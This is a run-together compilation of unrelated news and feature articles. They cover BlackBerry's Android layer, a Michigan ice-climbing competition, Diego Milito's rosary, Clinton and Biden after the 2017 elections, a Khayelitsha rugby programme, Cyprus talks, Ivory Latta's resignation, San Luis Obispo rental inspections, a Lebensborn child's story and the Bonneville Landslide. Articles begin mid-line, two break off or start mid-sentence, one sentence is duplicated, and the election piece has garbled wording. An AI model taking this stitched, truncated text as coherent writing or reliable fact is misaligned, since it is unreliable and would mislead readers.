The fact that Blackberry now runs a slimmed down version of Android probably isn’t enough to make anyone want to jump over to the dying platform, but it’s still pretty interesting news.
Both the release of APK support and the fact that Android lies underneath BB10 further cements the fact that Blackberry really is dead-in-the-water at this point and is relying heavily on Android not only to bring it business through Blackbery Messenger, but even to help augment the BB10 experience.
If Blackberry eventually ditched BB10 altogether, or perhaps did a true dual-boot with Google Play apps certification, would you be at all interested in Blackberry devices or has that ship sailed for good? Let us know what you think in the comments below.Great Lakes Mixed Comp March 11, 2017
With over $5000 worth of prizes, the Great Lakes Mixed Comp will take place on March 11, 2017, and is shaping up to be one of the top ice climbing events in the mid-east. The comp will be held at the renowned Peabody Ice Climbing Club and is organized by Ice Climbing World Cup competitors Rebecca Lewis and Nathan Kutcher. We caught up with Rebecca and Nate and discussed the comp formats, prizes and after parties.
The Great Lakes Mixed Comp will take place at the Peabody Ice Climbing Club.
Ok, why a Great Lakes competition?
Rebecca: Originally we were trying to organize a competition in Southern Ontario, but finding a space for it never worked out. A friend of ours then reminded us about Peabody Ice Climbing in Michigan. When we approached Garrett Peabody with the idea, he embraced it and we saw that it would be a great match. The location is still close to Southern Ontario, but also exposes a larger area to competition mixed climbing in the American Midwest.
Tell me a little about the comp.
Rebecca: Our primary objective is for people to try out competition style dry-tooling and, most importantly, to have fun. We want people to get lots of climbing in so we are setting three preliminary top rope routes. From this, the top five men and women will advance to a finals route held on the main ice tower at Peabody Ice Climbing.
The Great Lakes Mixed Comp takes place March 11, 2017.
It sounds like you want this to be more accessible than typical World Cup events?
Rebecca: Most people think that you have to be a high-end ice climber to participate in competitions. We want to change that perception. Other activities like running races have age categories and we want to carry that concept over to our event. We plan to have at least three age categories, which will all have prizes. The people we pull out for the finals route won't miss out on the age category prizes though. Everyone who gets to finals will get a prize.
The Great Lakes Mixed Comp will take place at the Peabody Ice Climbing Club.
Holy smokes! Just how many prizes do you have?
Rebecca: Yeah, we're super happy how that's working out! At this moment we figure we have around $5000 worth of prizes and we're still waiting for a commitment from a few other companies.
Some of the sponsors for The Great Lakes Mixed Comp.
What kind of prizes are we talking here?
Rebecca: Currently, our two big sponsors are Rab and Asolo. These are amazing companies that make amazing gear. Rab has promised us a men's and a women's jacket and Asolo is giving a certificate for two pairs of boots! Outland Adventure Gear Is sending ice screws and head lamps. Krukonogi.com is sending certificates for the first, second and third place finishers in both the men's and women's categories. Team Canada Ice Climbing is sending hats, clothes and dry-tooling holds. Black Diamond, Petzl, Peabody Ice Climbing are also sending prizes. I think even Red Bull Wings is supposed to be stopping by the event! We also need to thank you here at Ontario Climbing for a stack of the new Ontario rock climbing guidebooks, clothes and gear that you've given us for prizes!
The Great Lakes Mixed Comp will take place at the Peabody Ice Climbing Club.
When we were chatting on the phone you mentioned a special grand prize from Beverly Mountain Guides. Want to give us some details?
Rebecca: This is amazing! One lucky competitor will have the chance to win round trip airfare to a 2018 UIAA Ice Climbing World Cup event paid for by Beverly Mountain Guides/Strike Rescue. We still have to sort through the details, but we're big supporters of the Ice Climbing World Cup (ICWC). This prize will go to someone who is currently not a competitor in ICWC, but has potential to excel at these comps.
Rebecca Lewis is one of Canada's top female ice climbers. She's been part of establishing many of Eastern Canada's most difficult mixed climbs including her most recent route Team Girl Squad M8. She is on the Canadian national ice climbing team and competes internationally on the World Cup ice climbing circuit. This past December she made the podium, placing second in the UIAA North American Championship in Durango, CO. You can follow Rebecca at https://www.instagram.com/rebecca.lewis.climbing/
Well, enough of the prize talk. Tell me a little about the facilities.
Rebecca: Garrett Peabody started Peabody Ice Climbing Club in Fenton, Michigan on the family apple farm. He built a 70-foot ice tower and now people come from as far away as Kentucky to climb on it!
So is there just an ice tower on his property?
Rebecca: He has a pretty amazing setup. He also has a dry-tooling wall we'll be using for the prelims. He's also providing access to the bunk house and camping opportunities for people who don't want to get a hotel on Friday or Saturday night. He also has a sauna and a great bar area where we're having the after party!
Nathan Kutcher is one of Canada's top ice climbers. He's established numerous difficult mixed climbs including the traditionally protected ground-up ascent of Metamorphosis M10 R. He is on the Canadian national ice climbing team and competes internationally on the World Cup ice climbing circuit. In 2012 he defeated a strong field of international climbers and won the prestigious Ouray Ice Festival in Colorado. You can follow Nathan at https://www.instagram.com/nathankutcher/?hl=en
After party – sounds like my kind of competition!
Rebecca: It's really the best part, isn't it? After the comp we'll have beer and food for everyone. Marc Beverly will also be doing a slide show. He was one of the first individuals from North America to get into the international ice climbing competition scene, so he'll be talking about his experiences on the circuit.
Relax with a sauna after a long day of competition!
Can anyone come to the party?
Rebecca: Of course! We have an option for those who just want to come to the party on our event website. It should be a ton of fun! You're coming – right Gus?
I think this might be entrapment, but of course!
Rebecca: Then this party will be off the hook!
The Great Lakes Mixed Comp takes place March 11, 2017.
What about Sunday morning?
Rebecca: We are planning a pancake breakfast for those who attended the comp or after party.The dry-tooling routes will still be up and people who competed the day before can climb on the ice tower or the comp routes. In fact, anyone who didn't compete and wants to pay the normal ice tower day fee can jump on the routes. We will also be sticking around and giving technique and training tips. We're both World Cup competitors, so I hope people jump on this opportunity. We're both World Cup competitors, so I hope people jump on this opportunity.
The Great Lakes Mixed Comp will take place at the Peabody Ice Climbing Club.
You can get more information and register for the Great Lakes Mixed Comp at http://events.eventzilla.net/e/great-lakes-mixed-climbing-competition-2138892590Diego Milito, the former Inter star striker who now plays for his boyhood team Racing Club back in Argentina, is the coolest. All it took was the following story, about "The Prince," one fan, rosary beads, and two shocking championships spaced 13 years apart, to convince us that it's true.
Pablo Delpiero, the fan in question, tells his story with Milito in a Twitlonger post, but we'll summarize it a bit here. As a young man in 2001, Delpiero was a diehard Racing fan that often travelled with the team. Towards the end of the 2001 Clausura campaign, his club needed positive results in their final three matches to stave off relegation.
Ahead of the first of the final three matches, Delpiero and some other fans visited a church in San Nicolas to pray to the Virgin Mary. The fans all asked Mary to bless their team, keeping them in the first division and wishing for a positive future. In addition, Delpiero decided to buy a rosary there, which he'd give to one of the players when he returned.
The next day after pre-game training, Delpiero waited by the locker room when two young Racing players emerged. Delpiero decided then to give the rosary to the 21-year-old Milito, telling him to keep it as a good luck charm. Milito accepted it.
The striker wasn't selected in the starting lineup that day, but did come on as a sub and scored the equalizing goal, which brought Delpiero and the handful of Racing fans that had travelled away with the team into raptures. The Racing player and fan ran into each other the next day, and Milito thanked him for his new lucky charm. The next season, in the 2001 Apertura, Racing—historically one of Argentina's biggest clubs, they had gone through quite a winning drought—won their first league title since 1966.
Advertisement
Delpiero came into contact with Milito one other time a couple years later, though they didn't interact with each other. Soon, the striker they called "The Prince" was off to Europe, where he thrived most famously with Real Zaragoza in Spain and later José Mourinho's treble-winning Inter team in Italy.
Fast forward to this season. Milito came back to Argentina from Europe, returning to Racing. Now, Delpiero had a job with the team and thus was around the players every day. Upon the prodigal son's return, Delpiero wondered if Milito remembered their interaction over a decade ago, but was too shy to ask outright. When they did happen upon each other, Delpiero noted that Milito greeted him with a vague recognition that he seemed unable to quite place.
One day, Delpiero decided enough was enough and he should just go ahead and ask the man about their past. From his Twitlonger, via Google Translate:
Not long ago I approached and said: "Diego, I can do you ask a question?" To which he replied: "Are you going to ask about the rosary?"... Oooof imagine what happened in my head in that moment, I always had this [memory], but he, the star, the champion of everything, DIEGO MILITO himself. He told me that from the moment I gave it to him, he always had it with him, that it had accompanied him throughout his career, that at each training session he had it on his nightstand. For me, every word he said was increasingly amazing, they exceeded even the stories I imagined and told my friends. He may have noticed from my face that what he told me was a lot, too much, and he said to me "You do not believe me?" "YUP!" I replied, stunned. "Tomorrow we'll come to training and I'll bring it." We left and he went into the locker room. The next day, I waited like never before, like the fans who come every day to treasure those five minutes they store in their memory, like they were little boys again. After the photos and signatures, he approached me and said, "Come, here it is." He opened his bag, took out his Botinero, and there was the rosary, the one I had given him 13 years ago in Santa Fe. In that moment I did not doubt him and said for the first time: "Diego, can you take a photo with the rosary?" We took the photo, as to immortalize that moment, to finish my story of "Milito and the Rosary" with an ending that would have never have been imagined.
Advertisement
The photo at the top, from Delpiero's Twitter, shows a picture of him with Milito during his first stint with Racing, one from their recent reunion, and another of a signed jersey Milito later gave him as a thank you. Milito sounds like just a good dude.
H/t Rob BrownHillary Clinton and Joe Biden gave themselves a pat on the back for the gains made by Democrats in yesterday's off-year election.
For Clinton it was that her political group, Onward Together, supported a number of new progressive grass roots groups that did a lot of work on the ground.
'Last night was a great reminder of what’s possible when we come together and fight for what we believe in,' Clinton tweeted Wednesday morning. 'So I wanted to take a few minutes to celebrate the extraordinary successes of a few groups I – and Onward Together – proudly fight alongside.'
For Biden, who is keeping the door open to a 2020 presidential bid, it was his candidate picks.
In a note to supporters Biden said Americans voted for a 'different kind of leadership.'
'And last night, nearly every single candidate that I endorsed at your recommendation was elected,' he wrote.
Both Hillary Clinton (left) and Joe Biden (right) assigned themselves some credit for Democratic wins in Tuesday's off-year election
Hillary Clinton sent out a number of tweets giving hat tips to groups that assisted Democrats who won in last night's election, pointing out her group Onward Together supported them too
Hillary Clinton touted the group Run for Something that ran 25 Democratic candidates at a local level successfully
She also pointed at the group Indivisible, which teaches Democrats to use Tea Party tactics to thwart the moves of President Donald Trump
The group Emerge America trains women leaders to become political candidates and helped nine of Virginia's House of Delegates candidates succeed
The Color of Change PAC helped Larry Krasner who is becoming known nationally as a progressive fighter against mass incarceration
Hillary Clinton gave credit to some traditional Democratic groups too, including EMILY's List, which funds pro-choice, female Democratic hopefuls
The ex-Democratic nominee also looked toward the midterm elections as the Democrats are currently in the minority in both the Senate and the House, but that could change next year
Meanwhile, in eight additional tweets, Clinton gave shout-outs to a number of groups that popped up since her stinging election loss a year ago today to now President Donald Trump.
The ex-Democratic nominee started with the group Run for Something, co-founded by Amanda Litman, a former Hillary Clinton staffer, and Ross Morales Rocketto, who worked at a Democratic public affairs firm started by Obama administration officials.
'Twenty-five of the local candidates they helped to recruit and run won,' Clinton boasted. 'They tell me about 10 per cent of first-time candidates usually win, but 40 percent of @runforsomething candidates came out on top yesterday.'
Clinton also pointed to the group Emerge America, which trains women leaders, who she said trained nine of the candidates who won Democratic seats in the Virginia House of Delegates.
Currently, Democrats are on track to win 15 seats in the Virginia House of Delegates, an unexpected boon for the party that lost countless almost 1,000 state-level seats during the Obama years.
Clinton also broke off a piece of the Spring Fling Queen crown and tossed it at Indivisible, a group of progressive former Capitol Hill staffers who witnessed the rise of the Tea Party and is guiding Democrats to use those same tactics to trip up President Trump.
Former Vice President Joe Biden, who could run for the White House in 2020, sent out a note to supporters Wednesday that showed off his endorsement power
Clinton reported that those aligned with Invisible made more than 600,000 calls to benefit the top of the Virginia ticket, all of whom won.
Democratic candidate for governor Ralph Northam succeeded in his bid for the Virginia governor's mansion, while Democrat Justin Fairfax became Northam's lieutenant, as the Old Dominion state makes candidates for governor and lieutenant governor run in separate races.
Mark Herring, the Democratic attorney general of Virginia, also won re-election.
Moving on, Clinton heralded the 'important work done by Color of Change's PAC was instrumental in winning the district attorney race in Philadelphia.'
Attorney Larry Krasner won that race on a platform of criminal justice reform, being branded nationally as someone on the front lines of the fight against mass incarceration.
'So many group own a piece of last night's victory, from @TheDemocrats to @EMILYslist to @TheDLCC,' Clinton acknowledged, name-dropping a trio of organizations, including the Democratic Party, that were around way before her election loss last year.
'It's remarkable to watch our Democratic family – groups with decades of victories and those born in the aftermath of the last election – team up to make nights like last night possible,' she said.
Democrats still have an uphill climb if they want to take back the U.S. House, which is badly gerrymandered in favor of Republicans, and the Senate, in which they're defending 23 seats.
Clinton acknowledged that too.
'As we celebrate, let's also remember the work ahead,' she said. 'Proud that groups that Onward Together supports – including @SwingLeft, which is laser-focused on taking back the House – have been making incredible progress in the fight for 2018 and beyond.'
'Onward!' Clinton said.
BUT HILLARY PREFERS TO BLAME OTHER PEOPLE WHEN SHE LOSES HERSELF Hillary Clinton has blamed Russian hackers for her loss - along with many others. DailyMail.com has been keeping track
James Comey
The FBI
Vladimir Putin
The Russians
Wikileaks
Low information voters
The electoral college
Anti-American forces
Everyone who assumed she'd win
Bad polling numbers
Barack Obama
White women
The New York Times
Joe Biden
Bernie Sanders
Bernie bros
People wanting change
Misogynists
Television executives
Netflix
Facebook
Twitter
Content farms in Macedonia
The media
Steve Bannon and Breitbart
The Democratic Party
The Republican Party
Cambridge Analytica
Women protesters
Matt Lauer
White voters
Democratic documentary makers
Voter suppression
Mitch McConnell
The Supreme Court
Father
Husbands
BoyfriendsWhile those in high places bang on about quotas, others are actually trying to make a small difference in the fabric of South Africa’s rugby society. Yanga Qinga and Murray Ingram run a rugby programme in Khayelitsha which gives kids – boys and girls – the opportunity to do something a little bit different and which will, hopefully, one day unearth a future South African rugby star. By ANTOINETTE MULLER.
Transformation in sport, particularly rugby, is constantly in the headlines. It is endlessly debated in column inches on the back pages, not to mention comment sections all over the internet. It’s all good and well to talk about it, but oddly enough it’s not often asked: what exactly is being done about it? If the statistics from the government’s pilot programme from last year are to be believed, then not nearly enough. Facilities are a big problem and simply having access to the sport is a massive stumbling block in getting young black kids playing rugby. But where there is a will, there is a way. And where there’s a way, there are usually a few inspiring people who are trying to make a difference.
Meet Yanga Qinga and Murray Ingram, two young men determined to do their part for the future of transforming South African rugby. They run Connect Community Development, a programme which has been operating in Khayelitsha informally for about five years and formally for about 18 months. They focus on educational support, youth development and enterprise development and this year started to focus on rugby.
Together, the pair run the Connect Community Rugby Development Programme in Khayelitsha which has helped 40 kids in the community not just learn the basics of the sport, but also play it competitively.
The group already had a chess programme in the area, but in April this year, they took on the challenge of teaching a group of children the basics of rugby. For six weeks, a group of under-8 and -9 boys were given a crash course on how to play. They were entered into the Spur Mini Rugby Tournament and were victorious in one of their two games.
Following the success of the introduction at younger age group level, the programme was extended the under-13 boys at Harry Gwala school, with a view to enter them into a Sevens tournament at the start of September. It was found that most of the boys were just over the age limit, but being deterred is simply not in Qinga and Ingram’s modus operandi. They simply entered the kids into the in2Touch league at Villagers in Claremont.
Photo: Pep talk before the Bishops match
“The team is currently called [the] Connect Rugby Development team and in time, we will leave it to the players to choose a name for it,” Qinga explained to the Daily Maverick.
Currently the teams play once a week in the six-a-side league at villagers. There are also practice sessions every Monday to Friday. The programme is spurring on interest and they are hoping the programme can extend to girls who want to play and that there will be a mixed team together in the near future. The team recently fielded their first girl when they played Bishops.
“We ran them really close and they narrowly beat our team by three tries to two,” Qinga says.
When transformation is debated it is often said that black kids “aren’t interested” in rugby, but Qinga and Ingram have found the complete opposite. For them, recruitment of players has been easy, as kids in the area are happy simply to have something to do.
“We have been working with the schools for quite some times, through our mass participation programmes. Some of these kids are already in our chess programme. The scholars are always looking for something to do and they simply answered the call to try something new. One or two have a rudimentary understanding of the game and the rest are happy to be expressing themselves in a new avenue in their lives,” Qinga explains.
It seems simple and straightforward. Make the opportunity available and the rest will happen by itself. But, of course, these sorts of projects are not without challenges. Some of the kids do not have even the most basic equipment, like shorts, jerseys or socks. Parents are not in a position to fund these expenses, but the team have used social media and have |
, Christofias managed to see Mehmet Ali Talat voted out of office in 2010. Is there not a risk of the same thing happening to Akinci if Anastasiades carries on in this way?
I am afraid that as a result of the delaying tactics it is possible that the latest procedure will collapse sooner than we imagine. Turkey is unlikely to accept excessive delays, at a time it claims our side is making agreements regarding natural gas. If the talks procedure is delayed and our side proceeds on the issue of hydrocarbons in a way Turkey considers ‘unilateral’, there is every chance Anakara would use this as a pretext to send the Barbaros into the Cypriot EEZ again, in which case everything will fall apart and God knows when we will get of such a mess again.
In this sense, the government spokesman may be proved correct in predicting that 2016 will be a “critical year”, not because of a settlement but because of a non-settlement. I have often said that politics is about correct and timely evaluation of prevailing conditions, but Anastasiades and his people, who are in no a rush and think they have all the time in the world to engage in tactical manoeuvres, have not yet grasped what politics is about.CHAPEL HILL – In order to pursue new opportunities in her basketball playing career, North Carolina assistant coach Ivory Latta has decided to resign from her position with the Tar Heels.
“I love Coach Hatchell and the University of North Carolina Women's Basketball program,” said Latta, the former National Player of the Year and two-time consensus All-America at UNC from 2004-07.
“Coaching here the past two seasons has been a dream come true for me, however, at this time in my career I feel the need to pursue numerous other opportunities that have been made available to me in my world of basketball.”
In two seasons on the Carolina bench, Latta helped guide her alma mater to a 53-19 record, advance to the Sweet 16 twice and reach the Elite 8 during the 2013-14 season.
“Ivory is like a daughter to me and I love her dearly and that is why I understand completely and have encouraged her to take full advantage of some lucrative opportunities available for her at this time and play a few more years,” said Hatchell.
“In addition to playing in the WNBA, Ivory has numerous opportunities to return to playing overseas during the school year.
Selected in the first round of the 2007 WNBA draft by the Detroit Shock, Latta begins her ninth season in the league in 2015. A current member of the Washington Mystics, she was named an all-star in both 2013 and 2014.
“We will miss her but Ivory Latta will always be a major part of this program,” added Hatchell. “Playing and now coaching at the University of North Carolina is what makes her such a special person and player and makes her stock so high as a player worldwide.
“We love her and wish her well!”
Upon her return from a trip to Hawaii with Nike, Hatchell will begin a national search for Latta's replacement.
A native of McConnells, S.C., Latta graduated from UNC in 2007 with a degree in exercise and sports science.Special election on SLO rental inspections still looms
March 13, 2017
Though the San Luis Obispo City Council is currently in the process of repealing the city’s controversial rental inspection ordinance, it appears the council must soon choose between adopting an alternative ordinance pushed by opponents of the inspection program and calling a special election on the matter.
In May 2015, the previous city council voted 3-2 to adopt an ordinance that allows an inspector to enter and examine rental units to determine if the properties are safe and habitable. The ordinance also requires landlords to pay a fee to fund the program.
Many city residents have opposed the program, arguing it constitutes government intrusion and a tax on rentals. Since its passage, renters have been removed from homes during repairs, and some property owners have been forced to pay the city’s high permit fees.
Supporters of the program, which included city management staff, argued there were deteriorating neighborhoods in the city where landlords do little to maintain their properties.
In recent months, former councilman Dan Carpenter, attorney Stew Jenkins and Dan Knight led a petition drive to overturn the ordinance. About a third of the city’s registered voters signed a petition to eliminate the controversial inspection program by way of a ballot measure. If passed, the ballot initiative would replace the rental inspection ordinance with a non-discrimination housing ordinance.
Faced with a looming special election, the San Luis Obispo council voted unanimously last week to repeal the rental inspection ordinance. If the council votes again to scrap the ordinance at its upcoming meeting, the rental inspection program will be formally repealed.
However, that alone will not put an end to the initiative process. In order to stop a special election from occurring, the council must also adopt a non-discrimination housing ordinance.
On Friday, a random sampling required by elections code showed the petition to repeal and replace the rental inspection ordinance contains 200 percent of the valid signatures needed to place the initiative on a ballot, according to a press release issued by Jenkins. The sampling also indicated the petition contains 138 percent of the valid signatures that would mandate a special election, Jenkins said.
In accordance with elections code, since the petition contains such a high percentage of valid signatures, the city clerk can immediately certify it, Jenkins said. Doing so would require the council to consider the initiative at its next meeting.
On Monday, backers of the initiative urged the city clerk to certify the measure for adoption at the March 21 council meeting.
If the clerk does certify the petition, the council would then be faced with the choice of adopting the measure as written or setting a special election within 108 days, Jenkins said. The council could also exercise an option to study the impact of its choice and delay its decision for no more than 30 days.
Loading...“This reminds me of the mug shots they took of the Polish children,” says Guntram Weber, 67, as he's being photographed. He acquiesces patiently though, posing this way and that – no model, but a man bred to the ‘purely beautiful' – the child and pride of the bygone utopia of a pure Aryan world.
His genes, in fact, were once amongst Germany's most prized, but his parentage remained a mystery to him for decades. Born in 1943 in the Third Reich's Posen (now Poznan in Poland), Weber is a child of Lebensborn, one of National Socialism's most insidious schemes.
“As a child I remember sensing that I wasn't quite normal,” he says softly, his tall, angular frame perched on the sofa of his homely Kreuzberg flat. “Family members treated me awkwardly.” His mother was ‘his rock', but he soon realised her husband was his stepfather, not his biological one. The ensuing insecurity consumed his youth but this was not unusual for a generation shorn of fathers. However the details he would later discover on his identity most certainly were.
Aryan breeding programme
Lebensborn, ‘spring of life' in old German, was a programme founded in 1935 aimed at increasing birth rates of Aryan children in the Third Reich. SS officers and other high-ranking Nazis with demonstrable Aryan pedigree were encouraged to sow their seed beyond marriages to create a blue-eyed and blonde-haired master race to perpetuate Adolf Hitler's Germania. As SS leader Heinrich Himmler, the Lebensborn founder and a key figure in Weber's life, said: “I want to save every drop of good German blood.”
This meant establishing a network of 26 maternity homes in German territory where racially ‘pure' mothers could give birth to illegitimate children sired by SS lovers away from society's stigmatising glare. Though lurid tales of breeding farms are wide of the mark, the homes provided a refuge for young women – if they could prove heritage back to their grandfather.
Children were conceived out of love, by mistake or through naivety. Other women certainly conceived on ideological grounds, but for many the choice was a pragmatic one: the promise of support and secrecy from prying eyes in a conservative society. Mothers would slip off to the homes to give birth discreetly.
There, they enjoyed the best medical facilities and ration-busting supplies of food while their children suffered a harsh welcome to the world, modelled on the Spartan practice of exposure greatly admired by Hitler. “You were separated from your mother as soon as you were born and kept away from her for the first 24 hours of your life,” Weber later learned. “Then you would only be given back to her for 20 minutes every four hours and during that time she was strongly discouraged from talking to you or caressing you.”
Children would spend their earliest months or years at the homes in what amounted to being the Third Reich's crèche, receiving an SS education while awaiting adoption by SS families if their single mothers did not want them. As the war progressed they were joined by Aryan-looking Polish children forcibly sent back from the front to be ‘Germanised'.
As Weber's mother once told him in an unguarded moment: “The relationship between mother and child is a power struggle.” For the SS, a child's will existed only to be broken.
Kept in the dark
It is a miracle that Weber has a story to recount at all. Without the will to surmount feelings of shame and persevere in his search for answers, he would still be in the dark that characterised most of his life. Even today, tears fill his eyes when he describes the constant struggle he faced, searching for the truth but running scared from it, desperate to dispel lies but aching for an ostensibly normal family life with his parents and siblings: an older sister and half brother born after the war.
Growing up, Weber remembers the subject of his real father was taboo. Extended family members had been well-drilled by his mother to conceal the truth, explains Weber. “‘It was the war,' they would say. ‘Things were very confusing. We didn't see much of each other – you will have to ask her.'” It wasn't until he turned 13 that his mother agreed to tell him his father's story. “‘Well Guntram,' she said,” Weber remembers. “‘You are old enough to know the truth about your father now.' Then she gave me a name, told me when his birthday was, when they'd been married, and that my father had been a truck driver for the Luftwaffe, far away from the front who had died driving over a landmine. She added that he certainly wasn't involved in killing anyone.”
This sort of story was doing the rounds in various households around Germany at the time. “I should have been suspicious,” Weber admits. “But so many kids were told lies about what their parents did in the war and it just wasn't the done thing to question them.”
Curiosity gnawed at him, but his courage to confront doubts waxed and waned. His mother's story rang increasingly hollow with no photos or documents to back it up and Weber became convinced his father had been a Nazi. Worried, he would inspect his facial features in the mirror and pore over history books in the school library looking for men who bore him some resemblance. For a terrible period he even feared Joseph Goebbels might be his father.
The mysterious silver cup
An incident in his teens brought him closer to a no less-harrowing truth. “My mother had a strongbox in the bottom right-hand corner of her wardrobe. One afternoon when she was out, I decided to look in. I had terrible qualms about it though,” he confesses. “I knew I was breaking the trust between us and she was my only security in the world.” Inside Weber found the first clue to his real identity: a small silver cup.
“We were a fairly poor family at the time,” he explains. “Like many others, my mother had lost everything during the war, so to find a silver object in the house was extremely unusual. I picked it up carefully and discovered my name on it. ‘Oh!' I thought, ‘what's this?' Because there was also another name there. ‘Guntram Heinrich,' it said. I'd never heard that before. And on the other side it read: ‘From your godfather, Heinrich Himmler.'
It was a revelation Weber could hardly comprehend: “I even told myself this ‘Guntram Heinrich' must be someone else,” he says. “Besides, I couldn't ask my mother about it as I had betrayed her trust.”
The silver cup is tarnished now, but Weber swears he will never honour it with a clean, nor shall he ever let it touch his lips. Holding it is troubling enough – the aged artefact is the nearest thing Weber has to an umbilical cord, tethering him to the deeds of men whose boots he was supposed to fill one day. “For a while with my first wife I even used to joke about that,” he says. “‘If Hitler had won, I would have been made Governor of such-and-such a place,' I would tell her.” By then, Weber had another piece of the puzzle.
More clues and false promises
In 1966, his older sister needed her birth certificate in order to get married. Their mother, obfuscating, said there was no hope of finding it, but an enquiry at her place of birth turned up the unexpected news that she had been born the illegitimate child of an army officer. Her records were miraculously still intact and being four years older than Weber, she realised she had been born in a Lebensborn home. The word entered the siblings' discourse for the first time.
Weber inferred that he too was one, albeit from a different father, but before he could summon the strength to question his mother, he moved to the US in pursuit of love, staying there for eight years until his wife's tragic death in a car crash. He returned to Germany with a son of his own and started teaching writing workshops for disadvantaged children in Kreuzberg.
As more information about Lebensborn trickled into the public consciousness, Weber occasionally grappled with the unknowns of his past. In 1982 he decided to confront his mother one day during a long car journey. He pulled off the road and forced his mother from the car. Finally, says Weber, he had her, “where she could not escape”.
Despite her angry protestations stranded by the roadside, “my mother uttered three sentences that I will never forget: Firstly, ‘I don't want to talk about that.' Secondly, ‘People will throw dirt at you.' And thirdly, ‘I will write it all down for you.' This was a promise. Suddenly I felt OK, knowing she would eventually give me the truth.
“But she didn't do it,” he says bitterly. “She couldn't bring herself to do that for me and she died two years later. I'm stark raving mad at her for that.”
Weber runs his fingers through his short, steelcoloured hair, before tucking his hands behind his head and pulling his elbows in around his face for a moment's security. His arms tense, hinting at the strength it takes to stop the human body simply exploding from pent-up emotion.
Around him stand shelves filled from floor to ceiling with books, reams of paper print outs, dozens of lever arch files – evidence of a painstaking search for answers. It was not until eight years ago though, after several false starts, that Weber finally found the resolve to confront his past, come what may. “The woman I was living with at the time said to me: ‘You have to find your father.' And she was right. All the energy had gone out of my life, the same way a battery goes flat,” he remembers.
The harrowing truth
Weber began by tentatively writing down his earliest memories, until he worked up the confidence to ask questions he had previously eschewed. He began what he describes as ‘archaeological trips' to family members, digging a little deeper with each visit.
Time and the death of his mother had softened the attitudes of his aunt and uncle in particular. His uncle's mention of a “senior officer” reminded Weber of a similar phrase being used by his stepfather.
Weber's mother had confided in her husband on her deathbed, but he had been a staunch SS man himself. He was impressed with the identity of Weber's real father and was reluctant to say. “He was seething when I finally called him to ask who this ‘senior officer' was,” Weber recalls. “‘Senior officer? Your father??' He barked back at me: ‘He was a general!' Then came a name. And I just went numb.”
It was a name Weber knew from history lessons (one he does not want in the press). A man who led SS extermination programmes in Poland and Russia, who was sentenced to death for war crimes, and who escaped internment to live his final days in South America. Above all though, he was a father. Weber's mother had been his secretary during the early 1940s before becoming infatuated with him. She once admitted to her son to having a weakness for men in uniform.
“I'm no Aryan man”
Weber's discovery stirred conflicting feelings in him.
“I had to struggle with the fact he was a murderer and that was incredibly difficult,” he admits. “I had to check my position vis–à-vis myself: was there any murderous instinct in me, too? It was harrowing.”
Weber had someone though, who he could call a father at last and that, after 60 years of uncertainty, brought him a degree of peace. It has allowed him to regain a little of his energy, and for all his travails he remains a warm and charismatic man.
Just as he is no murderer, Weber also says: “I am no Aryan man.” He is baffled by the Aryan ideal type, a vision of beauty that remains undiminished despite the price paid for it by the Lebensborn children at one end of the scale, and the victims of the Holocaust at the other. It evidently pains Weber to recount that potential adoptive parents in the US still pay a premium to secure a child with blue eyes.
Weber sees beauty instead in multi-cultural Berlin: “It's a great city!” he enthuses. “The best in Germany because we have managed some kind of integration here. I've always felt we should be a country of immigration – that that should be a grand corrective to our old ideological strait jacket. I feel enriched by all the different people here.”
Meanwhile, for all the pseudo-scientific care that went into his conception, there is a blot on his genealogical copybook that Weber most cherishes. A Polish great, great grandfather by the name of Dmowski makes a mockery of his supposed racial purity – and in the 1870s he made a mockery of the Prussians too.
“They tried to draft him for the war against France, but he said: ‘I'm Polish not Prussian and you can fight your own wars!'” says Weber. “He fled to Russia and didn't come back until the war was over.”
He smiles as he talks about his forebear, the broad smile of a man who does not want to be subjugated by his past. “He makes me feel immensely proud about who I am,” Weber reveals. His eyes, which made him feel inferior and ‘un-German' as a child, sparkle – his defiantly brown eyes.
For more from Berlin's leading English-language magazine, click the link below."... Radiocarbon dates taken in 1958 from drowned trees indicated that the slide occurred between 1250 and 1280. A quarter-century later, a radiocarbon date of wood samples taken from within and below the landslide deposit put the date at about 1100. Four years ago, Pringle and Robert L. Schuster of the U.S. Geological Survey had radiocarbon dates taken of a buried Douglas fir that indicated the tree died between 1500 and 1760. That would place the slide close to the earthquake in 1700 that devastated the Northwest coast. Counting the tree rings, with each ring representing one year of the tree's life, they estimated that the tree died in about 1699. But the mystery of the slide's date has taken new twists recently. Last year, Nathaniel D. Reynolds, then a graduate student at Washington State University in Vancouver, used a technique called lichenometry to estimate the age of the Bonneville Landslide. The dating method uses the growth rate of specific lichen species as an indicator of the age of the surface the lichen is growing on. Lichens, slow-growing organisms formed from an association between a fungus and an alga, can be used for dating earthquakes and landslides because they quickly colonize fresh rockfalls that occur in the wake of a quake. Once established, they form at a constant rate if left undisturbed. Reynolds, now with the U.S. Forest Service, said his study indicates the landslide probably happened between 1670 and 1760. "These results demonstrate that the Bonneville Landslide may have occurred more recently than previously believed," Reynolds said in a recent article in Washington Geology. The dates "provocatively bracket" the powerful offshore Cascadia Subduction Zone earthquake of 1700, he said, but he cautioned that the study doesn't prove that the quake caused the landslide. The research plot thickened with the recent surprising discovery of tree samples cut from the landslide site in 1934 by the late Donald B. Hamilton of Johns Hopkins University and the University of Minnesota before Bonneville Dam was completed. Pringle and Reynolds, along with colleagues Jim E. O'Connor, a hydrologist with the Geological Survey in Portland, and Alex C. Bourdeau, an archaeologist with the U.S. Fish and Wildlife Service in Sherwood, had wondered where the samples were. The Western Forestry Center, where some of the samples had been kept, burned to the ground in 1964.... "So the four of us went over there and they drag these slabs out," Pringle said. "We couldn't believe it. They had four slabs -- two were from living old trees and two were from this submerged forest of the Columbia. We were just drooling." O'Connor and Bourdeau took samples for radiocarbon testing, and Pringle took samples for tree-ring dating. Pringle found that the sample from a submerged forest tree appears to have died the same year -- 1699 -- as the buried tree that he and Schuster had studied. "I was amazed when I found that these two trees from different sites had died the same year," Pringle said. "It was a victorious moment. And that 1699 date, almost the same as the 1700 earthquake date, just stopped me cold." Despite the finding, however, the mystery of the landslide date remains unsolved. Although the tree-ring and lichen studies point to a slide date around 1700, the radiocarbon dates O'Connor obtained from the tree samples found at the World Forestry Center indicate that the trees died about 1500. "So now we have conflicting evidence," Pringle said. "We have our work cut out for us in trying to resolve these ambiguities from the different dating techniques."
